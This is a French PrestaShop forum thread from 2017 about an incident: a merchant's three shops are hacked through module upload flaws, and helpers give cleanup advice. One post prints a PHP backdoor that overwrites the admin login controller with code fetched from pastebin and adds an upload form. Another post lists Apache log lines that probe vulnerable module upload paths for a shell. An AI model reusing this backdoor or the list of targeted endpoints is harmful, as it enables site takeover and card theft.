Jump to content

Presta infecté par un fichier de spam, faille de sécurité ?


Recommended Posts

Bonjour,
 
Cette nuit j'ai été prévenu par l'hébergeur (Gandi) que l'envoi de mail via php est en explosion complète sur une de mes instances. Résultat, les mails sont bloqués… J'aurais aimé être prévenu avant, je ne passe pas ma vie sur les logs mail, mais soit.

 

Il faut savoir que :

- 3 sites sont hébergés sur l'instance, un gros à fort traffic, un petit qui vient d'être lancé y'a une semaine, et un dernier qui n'est pas utilisé.

- Les 3 sites sont des Prestashop.
 
En regardant les dits logs, je me rends compte que les 3 sites ont été infectés par un fichier d'envoi de mail via php (Leaf PHP mailer). Je vois le fichier leafpw.php à leur racine, mais pas sur le 3ème site alors que les logs disent qu'il est sensé être là aussi…
Le plus drôle c'est que Gandi a bloqué les mails du site qui ne semble pas être infecté, le plus gros site évidemment, celui qui va être le plus handicapé par ce blocage… même si les envois passent par lui aussi selon les logs.
 
- Tous les modules récupérés via la place de marché sont à jour, il y a quelques modules qui viennent d'ailleurs mais une minorité. Les 3 sites ont des modules en commun : Presta BackUP v2.4.0 - par presta-apps / Presta Vitesse v4.0.2 - par RSI (via CodeCanyon) / SEO Manager v2.5.0 - par onasus.com / Voir les alertes emails pour les produits v1.5.0 - par 202-ecommerce
- Deux des sites utilisent le même thème.
- Prestashop est en 1.6.1.6 et 1.6.1.7 sur les deux sites infectés. Le site où je ne trouve pas le fichier est également en 1.6.1.6.

 

Voilà si vous avez des suggestions ou des idées, je suis preneur car en l'état, à part faire des mises à jour… Mais y'a tellement de fichiers modifiés de partout que franchement faire des mises à jour dans Prestashop et les thèmes c'est pas la joie… Bénis soient les thèmes enfants de Wordpress.

 

Edit : Je remarque également un fichier "wp-log.php" sur les 3 sites à la racine, tous ajoutés à la même heure, qui ressemble à un fichier en base64 de Wordpress. L'entête stipule "WSO 2.6", c'est un vieux shell PHP de prise de contrôle.

Edited by SamPlissken (see edit history)
Link to comment
Share on other sites

Voilà encore un autre fichier que j'ai retrouvé dans le dossier des modules…

Accompagné d'un autre fichier et du wp-log en base64.

<?php
echo "hacked by Amine";
$sss=array('/','../','../../','../../../','../../../../','../../../../../');
foreach($sss as $pa){
$p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
foreach($p1 as $path){
if (file_exists("$path"))
{
$html = @file_get_contents('https://pastebin.com/raw/43Lwrz3d');
$save=fopen($path,'w');
fwrite($save,$html);
echo "<br> hous <br>";
[spam-filter]}
if($_GET['up']=="hous"){
echo '<center><font color="Red" size="4">';
/// Script Upload By amine \\\
if(isset($_POST['Submit'])){
	$filedir = ""; 
	$maxfile = '2000000';
	$mode = '0644';
	$userfile_name = $_FILES['image']['name'];
	$userfile_tmp = $_FILES['image']['tmp_name'];
	if(isset($_FILES['image']['name'])) {
		$qx = $filedir.$userfile_name;
		@move_uploaded_file($userfile_tmp, $qx);
		@chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Sucess Upload  ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo "<br> greerz all my friend<br>";
echo '</center></font>';

}
?>
Link to comment
Share on other sites

Bonjour

 

Si vous avez des fichiers inconnu sur votre site il n'y a que 3 solutions,

 

soit une injection via une faille

soit un virus ou backdoor sur votre PC et qui a accéder à votre site via FTP

soit un intervenant a qui vous aviez confier un accès et avec qui vous vous êtes embrouillé << ça c'est plutôt rare

 

Conseil

 

Vérifiez votre poste de A à Z avec un antivirus, un adware et un malware, mais une analyse approfondi

Cela fait et que votre poste est net, ramenez les fichiers de votre site sur votre poste et passez l'antivirus adw

Link to comment
Share on other sites

Je ne pense pas que mon ordi soit impliqué, car déjà c'est un Mac, mais également en voyant les logs Apache je vois que ça a été fait depuis un Windows NT :

196.64.53.52 - - [01/Jun/2017:15:00:08 +0000] (0 s) "GET ///modules/up.php?up=hous HTTP/1.1" 200 193 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"

C'est la première occurrence de cette IP qui a ensuite fait des POST en masse pour injecter tous les autres fichiers…

 

Le soucis c'est que je ne vois pas cette IP tester des modules ou autre, donc je ne sais pas par où ils sont passés.

Link to comment
Share on other sites

Bonjour,

 

Je confirme selon moi l'ordinateur n'est pas en cause mais un module. J'ai vu la exactement la même chose sur d'autres boutiques.

Un script doit tourner et infecter les sites vulnérables en masse.

Après nettoyage pas de soucis, mais il faut bien "épurer" tout ça et surtout trouver et combler la faille.

 

Si besoin, je suis disponible.

 

Je ne pense pas que mon ordi soit impliqué, car déjà c'est un Mac, mais également en voyant les logs Apache je vois que ça a été fait depuis un Windows NT :

196.64.53.52 - - [01/Jun/2017:15:00:08 +0000] (0 s) "GET ///modules/up.php?up=hous HTTP/1.1" 200 193 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"

C'est la première occurrence de cette IP qui a ensuite fait des POST en masse pour injecter tous les autres fichiers…

 

Le soucis c'est que je ne vois pas cette IP tester des modules ou autre, donc je ne sais pas par où ils sont passés.

Link to comment
Share on other sites

Je ne pense pas que mon ordi soit impliqué, car déjà c'est un Mac, mais également en voyant les logs Apache je vois que ça a été fait depuis un Windows NT :

196.64.53.52 - - [01/Jun/2017:15:00:08 +0000] (0 s) "GET ///modules/up.php?up=hous HTTP/1.1" 200 193 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"

C'est la première occurrence de cette IP qui a ensuite fait des POST en masse pour injecter tous les autres fichiers…

 

Le soucis c'est que je ne vois pas cette IP tester des modules ou autre, donc je ne sais pas par où ils sont passés.

 

Je vais vous expliquer quelque chose et ouvrez grand vos oreilles que ce soit MAC Linux Mandrake IBM DOS en somme quelque soit le système d'exploitation il y a des failles, il y a des virus

 

La seule différence est que Microsoft voulait avoir le monopole de tous les ordinateurs du monde, donc certain développeur lui font des démonstrations que son système n'est pas infaillible.

 

Comme c'est le système le plus utilisé dans le monde, c'est devenu le système le plus attaqué ! Point et pour cette raison qu'on dit a TORT que mac il n'y a pas de risque.

 

Si je vous conseil de vérifiez votre poste ce n'est pas que j'accuse votre poste je ne le connais pas, je ne le vois pas, et je ne connais pas tous les sites que vous visitez, ni tous les mails que vous recevez, donc par sécurité je préfère conseiller de vérifier le poste quel que soit le système d'exploitation, c'est un défaut professionnel que j'ai.

 

Et- vous pouvez avoir un poste irréprochable avec toutes les sécurités, mais les gens que vous connaissez de près ou de loin qui vous envois des fichiers, des mails, des images Vous n'avez aucune garanti que son poste est irréprochable.

 

Et un anti-virus anti-malware si c'est un nouveau virus que personne ne connais votre logiciel antivirus doit d'abord connaitre son fonctionnement avant de le détecter.

C'est comme les vaccins contre les maladies, votre corps ne connais pas la définition d'un virus il va avoir du mal a se battre contre lui.

Link to comment
Share on other sites

Bonjour,

 

Je confirme selon moi l'ordinateur n'est pas en cause mais un module. J'ai vu la exactement la même chose sur d'autres boutiques.

Un script doit tourner et infecter les sites vulnérables en masse.

Après nettoyage pas de soucis, mais il faut bien "épurer" tout ça et surtout trouver et combler la faille.

 

Si besoin, je suis disponible.

un script peut tourner et se loger dans les modules mais il passe d'abord par une machine qui l'envois sur internet après il entre dans une machine qui peut être le serveur d'hébergement ou simplement un poste informatique et via le ftp ou en mode telnet il se  propage sur les serveurs !

 

c'est une des milliers de possibilités.

Link to comment
Share on other sites

Oui, le script peut être sur un poste de travail "zombie" (Mac, PC, Android, Linux, tout est possible), comme ça l'ip change (probablement), pas de contrôle de sécurité qu'il peut y avoir chez un hébergeur (pas toujours efficace) etc...

Je pensais être un peu parano mais en voyant tes réponses je suis content de voir que je ne suis pas le seul !

 

un script peut tourner et se loger dans les modules mais il passe d'abord par une machine qui l'envois sur internet après il entre dans une machine qui peut être le serveur d'hébergement ou simplement un poste informatique et via le ftp ou en mode telnet il se  propage sur les serveurs !

 

c'est une des milliers de possibilités.

Link to comment
Share on other sites

J'ai une utilisation plutôt safe d'internet, je ne fais rien de bizarre avec mon ordi, pas de téléchargement au fin fond du net, pas de réception de pièce-jointe douteuses et autre joyeusetés…

 

Sur le serveur j'ai remis tous les fichiers d'un snapshop précédent, mis à jour tous les modules que je pouvais. J'allais mettre également à jour Prestashop mais… nouveau rebondissement, Gandi a verrouillé toute l'instance car un des sites dessus (celui non utilisé) a été utilisé pour faire du pishing donc dans ce cas là ils coupent tout. Je n'ai plus que l'accès SFTP.

 

Ca va être joyeux…

Link to comment
Share on other sites

Ok donc je confirme, ils ont bien essayé de passer par les failles habituelles des modules dont il a déjà été question, plus d'autres. Voici la liste tirée des logs Apache, ça servira peut-être ?

 

  185.7.214.173 - - [01/Jun/2017:08:58:55 +0000] (0 s) "POST //modules/columnadverts//uploadimage.php HTTP/1.1" 404 87373 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:58:56 +0000] (0 s) "GET ///modules/columnadverts//slides/hous.php?up=shell HTTP/1.1" 404 87401 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:58:56 +0000] (0 s) "POST //modules/soopamobile//uploadimage.php HTTP/1.1" 404 87371 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:58:57 +0000] (0 s) "GET ///modules/soopamobile//slides/hous.php?up=shell HTTP/1.1" 404 87399 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:58:57 +0000] (0 s) "POST //modules/soopabanners//uploadimage.php HTTP/1.1" 404 87372 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:58:58 +0000] (0 s) "GET ///modules/soopabanners//slides/hous.php?up=shell HTTP/1.1" 404 87400 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:00 +0000] (0 s) "POST //modules/vtermslideshow//uploadimage.php HTTP/1.1" 404 87374 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:01 +0000] (0 s) "GET ///modules/vtermslideshow//slides/hous.php?up=shell HTTP/1.1" 404 87402 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:01 +0000] (0 s) "POST //modules/simpleslideshow//uploadimage.php HTTP/1.1" 404 87375 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:02 +0000] (0 s) "GET ///modules/simpleslideshow//slides/hous.php?up=shell HTTP/1.1" 404 87403 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:02 +0000] (0 s) "POST //modules/productpageadverts//uploadimage.php HTTP/1.1" 404 87378 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:03 +0000] (0 s) "GET ///modules/productpageadverts//slides/hous.php?up=shell HTTP/1.1" 404 87406 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:03 +0000] (0 s) "POST //modules/homepageadvertise//uploadimage.php HTTP/1.1" 404 87377 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:04 +0000] (0 s) "GET ///modules/homepageadvertise//slides/hous.php?up=shell HTTP/1.1" 404 87405 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:05 +0000] (0 s) "POST //modules/homepageadvertise2//uploadimage.php HTTP/1.1" 404 87378 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:06 +0000] (0 s) "GET ///modules/homepageadvertise2//slides/hous.php?up=shell HTTP/1.1" 404 87406 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:07 +0000] (0 s) "POST //modules/jro_homepageadvertise//uploadimage.php HTTP/1.1" 404 87381 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:07 +0000] (0 s) "GET ///modules/jro_homepageadvertise//slides/hous.php?up=shell HTTP/1.1" 404 87409 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:07 +0000] (0 s) "POST //modules/attributewizardpro//file_upload.php HTTP/1.1" 404 87378 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:08 +0000] (0 s) "POST //modules/1attributewizardpro/file_upload.php HTTP/1.1" 404 87378 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:09 +0000] (0 s) "POST //modules/attributewizardpro.OLD//file_upload.php HTTP/1.1" 404 87382 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:09 +0000] (0 s) "POST //modules//advancedslider/ajax_advancedsliderUpload.php?action=submitUploadImage%26id_slide=php HTTP/1.1" 404 87512 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:10 +0000] (0 s) "POST //modules/cartabandonmentpro/upload.php HTTP/1.1" 404 87372 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:10 +0000] (0 s) "POST //modules/cartabandonmentproOld/upload.php HTTP/1.1" 404 87375 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:11 +0000] (0 s) "POST //modules//videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload HTTP/1.1" 404 87511 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:12 +0000] (0 s) "GET ///modules//advancedslider/uploads/hous.php.png?up=shell HTTP/1.1" 404 87407 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:12 +0000] (0 s) "GET ///modules//cartabandonmentpro/uploads/hous.php.png?up=shell HTTP/1.1" 404 87411 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:13 +0000] (0 s) "GET ///modules//videostab/uploads/hous.php.mp4?up=shell HTTP/1.1" 404 87402 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:13 +0000] (0 s) "GET ///modules//cartabandonmentproOld/uploads/hous.php.png?up=shell HTTP/1.1" 404 87414 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:14 +0000] (0 s) "POST //modules//wg24themeadministration/wg24_ajax.php HTTP/1.1" 404 87381 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:14 +0000] (0 s) "POST ///modules//wdoptionpanel/wdoptionpanel_ajax.php HTTP/1.1" 404 87381 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:15 +0000] (0 s) "POST //modules///fieldvmegamenu/ajax/upload.php HTTP/1.1" 404 87375 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:15 +0000] (0 s) "POST //modules///pk_flexmenu//ajax/upload.php HTTP/1.1" 200 - "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:16 +0000] (0 s) "POST //modules///pk_vertflexmenu//ajax/upload.php HTTP/1.1" 200 - "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:16 +0000] (0 s) "POST //modules/nvn_export_orders/upload.php HTTP/1.1" 404 87371 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:18 +0000] (0 s) "POST ///modules/megamenu/uploadify/uploadify.php?id=hous.php HTTP/1.1" 404 87412 "-" "curl/7.49.1"

  185.7.214.173 - - [01/Jun/2017:08:59:18 +0000] (0 s) "GET //modules//wg24themeadministration///img/upload/hous.php?up=shell HTTP/1.1" 404 87416 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:19 +0000] (0 s) "GET ///modules///fieldvmegamenu/uploads/hous.php?up=shell HTTP/1.1" 404 87404 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:19 +0000] (0 s) "GET //modules/wdoptionpanel/upload//hous.php?up=shell HTTP/1.1" 404 87400 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:20 +0000] (0 s) "GET //modules///pk_flexmenu//uploads/hous.php?up=shell HTTP/1.1" 200 52 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:20 +0000] (0 s) "GET //modules///pk_vertflexmenu//uploads/hous.php?up=shell HTTP/1.1" 200 52 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:20 +0000] (0 s) "GET //modules/nvn_export_orders/nvn_extra_add.php?up=shell HTTP/1.1" 404 87405 "-" "-"

  185.7.214.173 - - [01/Jun/2017:08:59:21 +0000] (0 s) "GET //hous.php.png?up=shell HTTP/1.1" 404 87374 "-" "-"

 

  185.7.214.173 - - [01/Jun/2017:08:59:21 +0000] (0 s) "GET //modules/orderfiles/files/hous.php?up=shell HTTP/1.1" 404 87395 "-" "-"

 

Là où ils ont tapés juste dans notre cas, c'est pour pk_flexmenu et pk_vertflexmenu

Ce sont des modules des thèmes Alysum.

Link to comment
Share on other sites

Salut SamPlissken,
 
Ce genre de chose arrive malheureusement souvent à cause de failles dans le code des modules...
Je peux te donner les conseils suivant
 
1) Ne pas mettre plusieurs site sur le même serveur ma règle perso c'est un site par serveur (vps ou dédié selon la taille). Car le dark shell permet de prendre le contrôle de tout le serveur et donc de tout tes sites....
 
2) Il faut absolument que tu verifie les CHMOD des repertoires et des fichiers, sache que le dark shell peux écrire du code en se faisant passer pour le www-data
 
3) il va falloir que tu nettoies tout tes fichiers et dossiers:
 
cette commande vire du code obfusqué qui contamine les fichiers js la le cas ou tes sites sont dans le home je te recommande d étudier la commande sed

find /home/ -type f -name "*.js" -exec sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" '{}' \;

utilise grep pour savoir quels sont les fichiers contaminés

grep -rnw . -e '_0xaae8'

Une derniere commande utilie

find /home/yourdirectory/yoursite/ -mtime -10 -ls

→ chercher les fichiers modifier les 10 derniers jours
 
 
bon courage
  • Like 2
Link to comment
Share on other sites

Merci de tes conseils.

 

Malheureusement pour des questions de coûts il n'était pas possible pour ce client d'envisager des serveurs différents pour ses différents sites.

 

Pour le chmod, tous les dossiers sont en 755, mais à vrai dire je ne sais plus si c'était déjà le cas avant ou pas…

 

Pour les fichiers infectés, j'ai trouvé grâce aux logs Apache quand et par quoi l'infection a commencé. Moult POST à la chaîne sur des dossiers modules jusqu'à avoir un code 200 en réponse.

J'ai donc fait la commande pour voir les fichiers modifié à partir de ce jour là, pas grand chose n'a été modifié en dehors des fichiers qu'ils ont ajoutés (fichiers php et un nouveau faux module de paiement pour récupérer les codes de carte bleu). Mais j'ai fait au plus simple et sûr, j'ai tout viré et remis un snapshot en place puis patché les modules défaillants. Vraiment très pratique cette fonction si on se rend compte du piratage à temps (sinon évidemment les snapshots sauvegardent les fichiers vérolés au bout d'un moment).

 

Tout a été relancé depuis samedi sans problème depuis. Je garde un œil sur les logs Apache et phpmail histoire de.

Edited by SamPlissken (see edit history)
Link to comment
Share on other sites

Déjà, un fichier tout seul dans le dossier "modules" ça n'a rien à foutre là !!

 

En supprimant ces fichiers up.php, tu t'exposes à les retrouver + tard si y'a une faille qui permet de les déposer là ...

 

Édition des fichiers, puis remplacement du contenu par un simple "return;", puis chmod 700

Link to comment
Share on other sites

J'avais contacté le support Payplug pour les prévenir de l'usurpation de leur identité dans ce hack (le faux module de paiement se faisait passer pour Payplug) et ils m'ont répondu en me fournissant moult informations sur le type à l'origine de ce hack, qui évidemment le vend à qui le veut sur internet sans s'en cacher.

 

Ils m'ont fourni adresse email et même une chaîne Youtube où il distille ses conseils pour pirater les prestashop… Vidéo pas inquiété pour le moins du monde évidemment puisqu'il n'est pas question de droit d'auteur…

 

Ils conseillent évidemment de porter plainte au cas où les pirates auraient pu récupérer des données de clients. De notre côté pas eu de soucis, nous n'utilisons pas Paypal (dont ils se servent également) et Gandi a repéré tout de suite le problème.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...